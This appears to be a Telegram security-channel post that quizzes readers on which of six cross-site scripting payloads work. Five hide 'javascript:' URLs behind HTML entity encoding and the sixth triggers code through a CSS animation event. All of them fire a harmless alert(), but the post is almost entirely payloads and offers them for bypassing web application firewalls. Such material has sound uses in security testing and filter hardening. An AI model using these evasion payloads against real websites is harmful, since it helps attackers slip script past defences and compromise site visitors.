Hunt State: post #381 — TG.ME

Let's Take A Look At Some XSS Payloads. Which Of These Do You Think Works, And Why?

1- <a href="&#x6a;avascript:alert(1337)">Test1</a>
2- <a href="&#x6aavascript:alert(1337)">Test2</a>
3- <a href="&#000000000x6a;avascript:alert(1337)">Test3</a>
4- <a href="jav&#x61script:alert(1337)">Test4</a>
5- <a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">Test5</a>

Here’s An Interesting Example Using The Onanimationend Event:

<style>@keyframes x {to {opacity:0}}</style>
<xss style="animation:x 1s" onanimationend=alert(6)>Test6</xss>

These Payloads Are Just A Few Examples Of XSS Payloads, Each Of Which Can Be Used In Specific Scenarios Such As Bypassing Firewalls.